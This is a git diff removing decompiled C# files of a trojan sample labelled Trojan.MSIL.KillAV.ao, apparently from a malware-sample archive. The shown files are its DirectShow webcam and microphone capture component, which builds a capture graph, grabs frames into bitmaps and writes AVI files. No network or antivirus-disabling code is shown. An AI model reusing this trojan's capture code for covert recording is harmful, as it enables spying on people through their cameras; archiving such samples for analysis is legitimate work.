- - public void Cue() - { - this.assertStopped(); - this.wantCaptureRendered = true; - this.renderGraph(); - int errorCode = this.mediaControl.Pause(); - if (errorCode == 0) - return; - Marshal.ThrowExceptionForHR(errorCode); - } - - public void Start() - { - this.Stop(); - this.firstFrame = false; - this.assertStopped(); - this.wantCaptureRendered = true; - this.renderStream = true; - this.renderGraph(); - int errorCode = this.mediaControl.Run(); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - this.graphState = DirectX.Capture.Capture.GraphState.Capturing; - } - - public void Stop() - { - if (this.mediaControl != null) - this.mediaControl.Stop(); - this.wantCaptureRendered = false; - this.wantPreviewRendered = true; - if (this.graphState == DirectX.Capture.Capture.GraphState.Capturing) - { - this.graphState = DirectX.Capture.Capture.GraphState.Rendered; - if (this.CaptureComplete != null) - this.CaptureComplete((object) this, (EventArgs) null); - } - this.firstFrame = true; - this.renderStream = false; - try - { - this.renderGraph(); - } - catch - { - } - try - { - this.startPreviewIfNeeded(); - } - catch - { - } - } - - public void DisposeCapture() - { - this.wantPreviewRendered = false; - this.wantCaptureRendered = false; - this.CaptureComplete = (EventHandler) null; - try - { - this.destroyGraph(); - } - catch - { - } - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - } - - [STAThread] - public void CaptureFrame() - { - int num; - if (this.firstFrame) - { - this.assertStopped(); - this.renderStream = true; - this.renderGraph(); - num = this.mediaControl.Run(); - this.firstFrame = false; - } - this.captured = false; - if (this.savedArray == null) - { - int imageSize = this.videoInfoHeader.BmiHeader.ImageSize; - if (imageSize < 1000 || imageSize > 16000000) - return; - this.savedArray = new byte[imageSize + 64000]; - } - num = this.sampGrabber.SetCallback((ISampleGrabberCB) this, 1); - } - - public void RenderPreview() - { - this.assertStopped(); - this.renderStream = true; - this.renderGraph(); - this.mediaControl.Run(); - } - - protected void createGraph() - { - object obj = (object) null; - if (this.graphState >= DirectX.Capture.Capture.GraphState.Created) - return; - GC.Collect(); - this.graphBuilder = (IGraphBuilder) Activator.CreateInstance(System.Type.GetTypeFromCLSID(Clsid.FilterGraph, true)); - Guid captureGraphBuilder2 = Clsid.CaptureGraphBuilder2; - Guid guid1 = typeof (ICaptureGraphBuilder2).GUID; - this.captureGraphBuilder = (ICaptureGraphBuilder2) DsBugWO.CreateDsInstance(ref captureGraphBuilder2, ref guid1); - this.sampGrabber = (ISampleGrabber) Activator.CreateInstance(System.Type.GetTypeFromCLSID(Clsid.SampleGrabber, true)); - obj = (object) null; - int errorCode1 = this.captureGraphBuilder.SetFiltergraph(this.graphBuilder); - if (errorCode1 < 0) - Marshal.ThrowExceptionForHR(errorCode1); - int errorCode2 = this.sampGrabber.SetMediaType(new AMMediaType() - { - majorType = MediaType.Video, - subType = MediaSubType.RGB24, - formatType = FormatType.VideoInfo - }); - if (errorCode2 < 0) - Marshal.ThrowExceptionForHR(errorCode2); - if (this.VideoDevice != null) - { - this.videoDeviceFilter = (IBaseFilter) Marshal.BindToMoniker(this.VideoDevice.MonikerString); - int errorCode3 = this.graphBuilder.AddFilter(this.videoDeviceFilter, "Video Capture Device"); - if (errorCode3 < 0) - Marshal.ThrowExceptionForHR(errorCode3); - this.mediaEvt = (IMediaEventEx) this.graphBuilder; - this.baseGrabFlt = (IBaseFilter) this.sampGrabber; - int errorCode4 = this.graphBuilder.AddFilter(this.baseGrabFlt, "DS.NET Grabber"); - if (errorCode4 < 0) - Marshal.ThrowExceptionForHR(errorCode4); - } - if (this.AudioDevice != null) - { - this.audioDeviceFilter = (IBaseFilter) Marshal.BindToMoniker(this.AudioDevice.MonikerString); - int errorCode5 = this.graphBuilder.AddFilter(this.audioDeviceFilter, "Audio Capture Device"); - if (errorCode5 < 0) - Marshal.ThrowExceptionForHR(errorCode5); - } - if (this.VideoCompressor != null) - { - this.videoCompressorFilter = (IBaseFilter) Marshal.BindToMoniker(this.VideoCompressor.MonikerString); - int errorCode6 = this.graphBuilder.AddFilter(this.videoCompressorFilter, "Video Compressor"); - if (errorCode6 < 0) - Marshal.ThrowExceptionForHR(errorCode6); - } - if (this.AudioCompressor != null) - { - this.audioCompressorFilter = (IBaseFilter) Marshal.BindToMoniker(this.AudioCompressor.MonikerString); - int errorCode7 = this.graphBuilder.AddFilter(this.audioCompressorFilter, "Audio Compressor"); - if (errorCode7 < 0) - Marshal.ThrowExceptionForHR(errorCode7); - } - Guid capture1 = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid2 = typeof (IAMStreamConfig).GUID; - object ppint; - if (this.captureGraphBuilder.FindInterface(ref capture1, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - { - pType = MediaType.Video; - if (this.captureGraphBuilder.FindInterface(ref capture1, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - } - this.videoStreamConfig = ppint as IAMStreamConfig; - ppint = (object) null; - Guid capture2 = PinCategory.Capture; - pType = MediaType.Audio; - guid2 = typeof (IAMStreamConfig).GUID; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.audioDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - this.audioStreamConfig = ppint as IAMStreamConfig; - this.mediaControl = (IMediaControl) this.graphBuilder; - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - if (this.propertyPages != null) - this.propertyPages.Dispose(); - this.propertyPages = (PropertyPageCollection) null; - this.videoCaps = (VideoCapabilities) null; - this.audioCaps = (AudioCapabilities) null; - ppint = (object) null; - capture2 = PinCategory.Capture; - pType = MediaType.Interleaved; - guid2 = typeof (IAMTVTuner).GUID; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - { - pType = MediaType.Video; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - } - if (ppint is IAMTVTuner tuner) - this.tuner = new Tuner(tuner); - this.graphState = DirectX.Capture.Capture.GraphState.Created; - } - - protected void renderGraph() - { - bool flag = false; - this.assertStopped(); - if (this.mediaControl != null) - this.mediaControl.Stop(); - this.createGraph(); - if (!this.wantPreviewRendered && this.isPreviewRendered) - this.derenderGraph(); - if (!this.wantCaptureRendered && this.isCaptureRendered && this.wantPreviewRendered) - { - this.derenderGraph(); - this.graphState = DirectX.Capture.Capture.GraphState.Null; - this.createGraph(); - } - int num1; - Guid pCategory; - if (this.wantCaptureRendered && !this.isCaptureRendered) - { - Guid avi = MediaSubType.Avi; - num1 = this.captureGraphBuilder.SetOutputFileName(ref avi, this.Filename, out this.muxFilter, out this.fileWriterFilter); - if (this.VideoDevice != null) - { - pCategory = PinCategory.Capture; - Guid interleaved = MediaType.Interleaved; - if (this.captureGraphBuilder.RenderStream(ref pCategory, ref interleaved, (object) this.videoDeviceFilter, this.videoCompressorFilter, this.muxFilter) < 0) - { - Guid video = MediaType.Video; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref video, (object) this.videoDeviceFilter, this.videoCompressorFilter, this.muxFilter); - } - } - if (this.AudioDevice != null) - { - pCategory = PinCategory.Capture; - Guid audio = MediaType.Audio; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref audio, (object) this.audioDeviceFilter, this.audioCompressorFilter, this.muxFilter); - } - this.isCaptureRendered = true; - flag = true; - } - if (this.wantPreviewRendered && this.renderStream && !this.isPreviewRendered) - { - pCategory = PinCategory.Preview; - Guid video = MediaType.Video; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref video, (object) this.videoDeviceFilter, this.baseGrabFlt, (IBaseFilter) null); - this.videoWindow = (IVideoWindow) this.graphBuilder; - num1 = this.videoWindow.put_Owner(this.previewWindow.Handle); - num1 = this.videoWindow.put_WindowStyle(1174405120); - this.previewWindow.Resize += new EventHandler(this.onPreviewWindowResize); - this.onPreviewWindowResize((object) this, (EventArgs) null); - num1 = this.videoWindow.put_Visible(-1); - num1 = this.mediaEvt.SetNotifyWindow(this.Handle, 32769, IntPtr.Zero); - this.isPreviewRendered = true; - flag = true; - AMMediaType pmt = new AMMediaType(); - num1 = this.sampGrabber.GetConnectedMediaType(pmt); - this.videoInfoHeader = (VideoInfoHeader) Marshal.PtrToStructure(pmt.formatPtr, typeof (VideoInfoHeader)); - Marshal.FreeCoTaskMem(pmt.formatPtr); - pmt.formatPtr = IntPtr.Zero; - int num2 = this.sampGrabber.SetBufferSamples(false); - if (num2 == 0) - num2 = this.sampGrabber.SetOneShot(false); - if (num2 == 0) - num2 = this.sampGrabber.SetCallback((ISampleGrabberCB) null, 0); - if (num2 < 0) - num1 = 0; - } - if (!flag) - return; - this.graphState = DirectX.Capture.Capture.GraphState.Rendered; - } - - protected void startPreviewIfNeeded() - { - if (!this.wantPreviewRendered || !this.isPreviewRendered || this.isCaptureRendered) - return; - this.mediaControl.Run(); - } - - protected void derenderGraph() - { - if (this.mediaControl != null) - this.mediaControl.Stop(); - if (this.videoWindow != null) - { - this.videoWindow.put_Visible(0); - this.videoWindow.put_Owner(IntPtr.Zero); - this.videoWindow = (IVideoWindow) null; - } - if (this.PreviewWindow != null) - this.previewWindow.Resize -= new EventHandler(this.onPreviewWindowResize); - if (this.graphState < DirectX.Capture.Capture.GraphState.Rendered) - return; - this.graphState = DirectX.Capture.Capture.GraphState.Created; - this.isCaptureRendered = false; - this.isPreviewRendered = false; - if (this.videoDeviceFilter != null) - this.removeDownstream(this.videoDeviceFilter, this.videoCompressor == null); - if (this.audioDeviceFilter != null) - this.removeDownstream(this.audioDeviceFilter, this.audioCompressor == null); - this.muxFilter = (IBaseFilter) null; - this.fileWriterFilter = (IFileSinkFilter) null; - this.baseGrabFlt = (IBaseFilter) null; - } - - protected void removeDownstream(IBaseFilter filter, bool removeFirstFilter) - { - IEnumPins ppEnum; - int num1 = filter.EnumPins(out ppEnum); - ppEnum.Reset(); - if (num1 != 0 || ppEnum == null) - return; - IPin[] ppPins = new IPin[1]; - int num2; - do - { - num2 = ppEnum.Next(1, ppPins, out int _); - if (num2 == 0 && ppPins[0] != null) - { - IPin ppPin = (IPin) null; - ppPins[0].ConnectedTo(out ppPin); - if (ppPin != null) - { - PinInfo pInfo = new PinInfo(); - num2 = ppPin.QueryPinInfo(out pInfo); - if (num2 == 0 && pInfo.dir == PinDirection.Input) - { - this.removeDownstream(pInfo.filter, true); - this.graphBuilder.Disconnect(ppPin); - this.graphBuilder.Disconnect(ppPins[0]); - if (pInfo.filter != this.videoCompressorFilter && pInfo.filter != this.audioCompressorFilter) - this.graphBuilder.RemoveFilter(pInfo.filter); - } - Marshal.ReleaseComObject((object) pInfo.filter); - Marshal.ReleaseComObject((object) ppPin); - } - Marshal.ReleaseComObject((object) ppPins[0]); - } - } - while (num2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - } - - protected void destroyGraph() - { - try - { - this.derenderGraph(); - } - catch - { - } - this.graphState = DirectX.Capture.Capture.GraphState.Null; - this.isCaptureRendered = false; - this.isPreviewRendered = false; - if (this.rotCookie != 0) - { - DsROT.RemoveGraphFromRot(ref this.rotCookie); - this.rotCookie = 0; - } - if (this.muxFilter != null) - this.graphBuilder.RemoveFilter(this.muxFilter); - if (this.baseGrabFlt != null) - this.graphBuilder.RemoveFilter(this.baseGrabFlt); - if (this.videoCompressorFilter != null) - this.graphBuilder.RemoveFilter(this.videoCompressorFilter); - if (this.audioCompressorFilter != null) - this.graphBuilder.RemoveFilter(this.audioCompressorFilter); - if (this.videoDeviceFilter != null) - this.graphBuilder.RemoveFilter(this.videoDeviceFilter); - if (this.audioDeviceFilter != null) - this.graphBuilder.RemoveFilter(this.audioDeviceFilter); - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - if (this.propertyPages != null) - this.propertyPages.Dispose(); - this.propertyPages = (PropertyPageCollection) null; - if (this.tuner != null) - this.tuner.Dispose(); - this.tuner = (Tuner) null; - if (this.graphBuilder != null) - Marshal.ReleaseComObject((object) this.graphBuilder); - this.graphBuilder = (IGraphBuilder) null; - if (this.captureGraphBuilder != null) - Marshal.ReleaseComObject((object) this.captureGraphBuilder); - this.captureGraphBuilder = (ICaptureGraphBuilder2) null; - if (this.muxFilter != null) - Marshal.ReleaseComObject((object) this.muxFilter); - this.muxFilter = (IBaseFilter) null; - if (this.baseGrabFlt != null) - Marshal.ReleaseComObject((object) this.baseGrabFlt); - this.baseGrabFlt = (IBaseFilter) null; - if (this.fileWriterFilter != null) - Marshal.ReleaseComObject((object) this.fileWriterFilter); - this.fileWriterFilter = (IFileSinkFilter) null; - if (this.videoDeviceFilter != null) - Marshal.ReleaseComObject((object) this.videoDeviceFilter); - this.videoDeviceFilter = (IBaseFilter) null; - if (this.audioDeviceFilter != null) - Marshal.ReleaseComObject((object) this.audioDeviceFilter); - this.audioDeviceFilter = (IBaseFilter) null; - if (this.videoCompressorFilter != null) - Marshal.ReleaseComObject((object) this.videoCompressorFilter); - this.videoCompressorFilter = (IBaseFilter) null; - if (this.audioCompressorFilter != null) - Marshal.ReleaseComObject((object) this.audioCompressorFilter); - this.audioCompressorFilter = (IBaseFilter) null; - this.mediaControl = (IMediaControl) null; - this.videoWindow = (IVideoWindow) null; - GC.Collect(); - } - - protected void onPreviewWindowResize(object sender, EventArgs e) - { - if (this.videoWindow == null) - return; - Rectangle clientRectangle = this.previewWindow.ClientRectangle; - this.videoWindow.SetWindowPosition(0, 0, clientRectangle.Right, clientRectangle.Bottom); - } - - protected string getTempFilename() - { - string path; - try - { - int num1 = 0; - Random random = new Random(); - string tempPath = Path.GetTempPath(); - do - { - int num2 = random.Next(); - path = Path.Combine(tempPath, num2.ToString("X") + ".avi"); - ++num1; - } - while (num1 <= 100 && File.Exists(path)); - return path; - } - catch - { - path = "c:\temp.avi"; - } - return path; - } - - protected object getStreamConfigSetting(IAMStreamConfig streamConfig, string fieldName) - { - if (streamConfig == null) - throw new NotSupportedException(); - this.assertStopped(); - this.derenderGraph(); - object streamConfigSetting = (object) null; - IntPtr pmt = IntPtr.Zero; - AMMediaType amMediaType = new AMMediaType(); - try - { - streamConfig.GetFormat(out pmt); - Marshal.PtrToStructure(pmt, (object) amMediaType); - object structure = (object) null; - if (amMediaType.formatType == FormatType.WaveEx) - structure = (object) new WaveFormatEx(); - else if (amMediaType.formatType == FormatType.VideoInfo) - structure = (object) new VideoInfoHeader(); - else if (amMediaType.formatType == FormatType.VideoInfo2) - structure = (object) new VideoInfoHeader2(); - Marshal.PtrToStructure(amMediaType.formatPtr, structure); - streamConfigSetting = structure.GetType().GetField(fieldName).GetValue(structure); - } - finally - { - DsUtils.FreeAMMediaType(amMediaType); - Marshal.FreeCoTaskMem(pmt); - } - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - return streamConfigSetting; - } - - protected object setStreamConfigSetting( - IAMStreamConfig streamConfig, - string fieldName, - object newValue) - { - if (streamConfig == null) - throw new NotSupportedException(); - this.assertStopped(); - this.derenderGraph(); - object obj = (object) null; - IntPtr pmt = IntPtr.Zero; - AMMediaType amMediaType = new AMMediaType(); - try - { - int num = streamConfig.GetFormat(out pmt); - Marshal.PtrToStructure(pmt, (object) amMediaType); - object structure = (object) null; - if (amMediaType.formatType == FormatType.WaveEx) - structure = (object) new WaveFormatEx(); - else if (amMediaType.formatType == FormatType.VideoInfo) - structure = (object) new VideoInfoHeader(); - else if (amMediaType.formatType == FormatType.VideoInfo2) - structure = (object) new VideoInfoHeader2(); - Marshal.PtrToStructure(amMediaType.formatPtr, structure); - FieldInfo field = structure.GetType().GetField(fieldName); - if ((object) field == null) - field.SetValue(structure, newValue); - Marshal.StructureToPtr(structure, amMediaType.formatPtr, false); - num = streamConfig.SetFormat(amMediaType); - } - finally - { - DsUtils.FreeAMMediaType(amMediaType); - Marshal.FreeCoTaskMem(pmt); - } - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - return obj; - } - - protected void assertStopped() - { - if (this.Stopped) - ; - } - - private void OnCaptureDone() - { - if (this.sampGrabber == null) - return; - this.sampGrabber.SetCallback((ISampleGrabberCB) null, 0); - int width = this.videoInfoHeader.BmiHeader.Width; - int height = this.videoInfoHeader.BmiHeader.Height; - if ((width & 3) != 0 || width < 32 || width > 4096 || height < 32 || height > 4096) - return; - int num = width * 3; - GCHandle gcHandle = GCHandle.Alloc((object) this.savedArray, GCHandleType.Pinned); - int scan0 = (int) gcHandle.AddrOfPinnedObject() + (height - 1) * num; - Bitmap bitmap = new Bitmap(width, height, -num, PixelFormat.Format24bppRgb, (IntPtr) scan0); - gcHandle.Free(); - this.savedArray = (byte[]) null; - this.ImageCaptured.Image = (Image) bitmap; - this.FrameCaptureComplete(this.ImageCaptured); - } - - protected override void WndProc(ref Message m) - { - if (m.Msg == 32769) - { - if (this.mediaEvt == null) - return; - this.OnGraphNotify(); - } - else - base.WndProc(ref m); - } - - private void OnGraphNotify() - { - DsEvCode lEventCode; - int lParam1; - int lParam2; - do - ; - while (this.mediaEvt.GetEvent(out lEventCode, out lParam1, out lParam2, 0) >= 0 && this.mediaEvt.FreeEventParams(lEventCode, lParam1, lParam2) == 0); - } - - int ISampleGrabberCB.SampleCB(double SampleTime, IMediaSample pSample) => 0; - - int ISampleGrabberCB.BufferCB(double SampleTime, IntPtr pBuffer, int BufferLen) - { - if (this.captured || this.savedArray == null) - return 0; - this.captured = true; - this.bufferedSize = BufferLen; - if (pBuffer != IntPtr.Zero && BufferLen > 1000 && BufferLen <= this.savedArray.Length) - Marshal.Copy(pBuffer, this.savedArray, 0, BufferLen); - try - { - this.BeginInvoke((Delegate) new DirectX.Capture.Capture.CaptureDone(this.OnCaptureDone)); - } - catch (ThreadInterruptedException ex) - { - } - catch (Exception ex) - { - } - return 0; - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.ClientSize = new Size(284, 264); - this.Name = nameof (Capture); - this.Load += new EventHandler(this.Capture_Load); - this.ResumeLayout(false); - } - - private void Capture_Load(object sender, EventArgs e) - { - } - - protected enum GraphState - { - Null, - Created, - Rendered, - Capturing, - } - - public delegate void FrameCapHandler(PictureBox Frame); - - private delegate void CaptureDone(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Capture.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs deleted file mode 100644 index dd6f19a2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/CrossbarSource.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.CrossbarSource -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class CrossbarSource : Source - { - internal IAMCrossbar Crossbar; - internal int OutputPin; - internal int InputPin; - internal PhysicalConnectorType ConnectorType; - - public override bool Enabled - { - get - { - int InputPinIndex; - return this.Crossbar.get_IsRoutedTo(this.OutputPin, out InputPinIndex) == 0 && this.InputPin == InputPinIndex; - } - set - { - int num; - if (value) - num = this.Crossbar.Route(this.OutputPin, this.InputPin); - else - num = this.Crossbar.Route(this.OutputPin, -1); - } - } - - internal CrossbarSource( - IAMCrossbar crossbar, - int outputPin, - int inputPin, - PhysicalConnectorType connectorType) - { - this.Crossbar = crossbar; - this.OutputPin = outputPin; - this.InputPin = inputPin; - this.ConnectorType = connectorType; - this.name = this.getName(connectorType); - } - - private string getName(PhysicalConnectorType connectorType) - { - string name; - switch (connectorType) - { - case PhysicalConnectorType.Video_Tuner: - name = "Video Tuner"; - break; - case PhysicalConnectorType.Video_Composite: - name = "Video Composite"; - break; - case PhysicalConnectorType.Video_SVideo: - name = "Video S-Video"; - break; - case PhysicalConnectorType.Video_RGB: - name = "Video RGB"; - break; - case PhysicalConnectorType.Video_YRYBY: - name = "Video YRYBY"; - break; - case PhysicalConnectorType.Video_SerialDigital: - name = "Video Serial Digital"; - break; - case PhysicalConnectorType.Video_ParallelDigital: - name = "Video Parallel Digital"; - break; - case PhysicalConnectorType.Video_SCSI: - name = "Video SCSI"; - break; - case PhysicalConnectorType.Video_AUX: - name = "Video AUX"; - break; - case PhysicalConnectorType.Video_1394: - name = "Video Firewire"; - break; - case PhysicalConnectorType.Video_USB: - name = "Video USB"; - break; - case PhysicalConnectorType.Video_VideoDecoder: - name = "Video Decoder"; - break; - case PhysicalConnectorType.Video_VideoEncoder: - name = "Video Encoder"; - break; - case PhysicalConnectorType.Video_SCART: - name = "Video SCART"; - break; - case PhysicalConnectorType.Audio_Tuner: - name = "Audio Tuner"; - break; - case PhysicalConnectorType.Audio_Line: - name = "Audio Line In"; - break; - case PhysicalConnectorType.Audio_Mic: - name = "Audio Mic"; - break; - case PhysicalConnectorType.Audio_AESDigital: - name = "Audio AES Digital"; - break; - case PhysicalConnectorType.Audio_SPDIFDigital: - name = "Audio SPDIF Digital"; - break; - case PhysicalConnectorType.Audio_SCSI: - name = "Audio SCSI"; - break; - case PhysicalConnectorType.Audio_AUX: - name = "Audio AUX"; - break; - case PhysicalConnectorType.Audio_1394: - name = "Audio Firewire"; - break; - case PhysicalConnectorType.Audio_USB: - name = "Audio USB"; - break; - case PhysicalConnectorType.Audio_AudioDecoder: - name = "Audio Decoder"; - break; - default: - name = "Unknown Connector"; - break; - } - return name; - } - - public override void Dispose() - { - if (this.Crossbar != null) - Marshal.ReleaseComObject((object) this.Crossbar); - this.Crossbar = (IAMCrossbar) null; - base.Dispose(); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs deleted file mode 100644 index f475a2ac..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DeviceInUseException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.DeviceInUseException -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DirectX.Capture -{ - public class DeviceInUseException : SystemException - { - public DeviceInUseException(string deviceName, int hResult) - : base(deviceName + " is in use or cannot be rendered. (" + (object) hResult + ")") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs deleted file mode 100644 index 5e601a01..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/DirectShowPropertyPage.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.DirectShowPropertyPage -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class DirectShowPropertyPage : PropertyPage - { - protected DShowNET.ISpecifyPropertyPages specifyPropertyPages; - - public DirectShowPropertyPage(string name, DShowNET.ISpecifyPropertyPages specifyPropertyPages) - { - this.Name = name; - this.SupportsPersisting = false; - this.specifyPropertyPages = specifyPropertyPages; - } - - public override void Show(Control owner) - { - DsCAUUID pPages = new DsCAUUID(); - try - { - int num = this.specifyPropertyPages.GetPages(out pPages); - object specifyPropertyPages = (object) this.specifyPropertyPages; - num = DirectShowPropertyPage.OleCreatePropertyFrame(owner.Handle, 30, 30, (string) null, 1, ref specifyPropertyPages, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - } - } - - public new void Dispose() - { - if (this.specifyPropertyPages != null) - Marshal.ReleaseComObject((object) this.specifyPropertyPages); - this.specifyPropertyPages = (DShowNET.ISpecifyPropertyPages) null; - } - - [DllImport("olepro32.dll", CharSet = CharSet.Unicode)] - private static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - string lpszCaption, - int cObjects, - [MarshalAs(UnmanagedType.Interface), In] ref object ppUnk, - int cPages, - IntPtr pPageClsID, - int lcid, - int dwReserved, - IntPtr pvReserved); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs deleted file mode 100644 index 88af582d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filter.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Filter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using DShowNET.Device; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class Filter : IComparable - { - public string Name; - public string MonikerString; - - public Filter(string monikerString) - { - this.Name = this.getName(monikerString); - this.MonikerString = monikerString; - } - - internal Filter(UCOMIMoniker moniker) - { - this.Name = this.getName(moniker); - this.MonikerString = this.getMonikerString(moniker); - } - - protected string getMonikerString(UCOMIMoniker moniker) - { - string ppszDisplayName; - moniker.GetDisplayName((UCOMIBindCtx) null, (UCOMIMoniker) null, out ppszDisplayName); - return ppszDisplayName; - } - - protected string getName(UCOMIMoniker moniker) - { - object ppvObj = (object) null; - IPropertyBag propertyBag1 = (IPropertyBag) null; - try - { - Guid guid = typeof (IPropertyBag).GUID; - moniker.BindToStorage((UCOMIBindCtx) null, (UCOMIMoniker) null, ref guid, out ppvObj); - IPropertyBag propertyBag2 = (IPropertyBag) ppvObj; - object pVar = (object) ""; - int errorCode = propertyBag2.Read("FriendlyName", 